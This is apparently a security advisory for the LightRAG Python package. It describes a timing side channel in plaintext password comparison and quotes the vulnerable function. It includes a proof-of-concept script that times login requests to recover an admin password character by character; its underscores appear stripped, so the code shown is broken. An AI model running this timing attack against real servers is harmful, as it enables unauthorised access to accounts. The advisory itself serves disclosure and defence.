PT-2026-105817 · Pypi · Hkuds Lightrag
Published
2026-10-01
·
Updated
2026-10-01
CVSS v3.1
5.9
Medium
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N |
Summary
When plaintext passwords are stored in AUTH ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.
Details
python
# lightrag/api/passwords.py:13-26
def verify password(plain password: str, stored password: str) -> bool:
if stored password.startswith("{bcrypt}"):
...
return bcrypt.checkpw(...) # constant-time OK
return stored password == plain password # NOT constant-time VULN
# Python == short-circuits on first mismatched byte
# Timing leaks: password length + individual charactersPoC
python
# Timing oracle: recover password char-by-char
import httpx, time, string
TARGET = "http://<TARGET>:9621/login"
USER = "admin"
def measure(pwd: str) -> float:
t = time.perf counter()
httpx.post(TARGET, data={"username": USER, "password": pwd})
return time.perf counter() - t
known = ""
for in range(32):
best = max(string.printable,
key=lambda c: sum(measure(known+c+"A"*20) for in range(10)))
known += best
print(f"Recovered: {known}")Impact
Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH ACCOUNTS.
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Hkuds Lightrag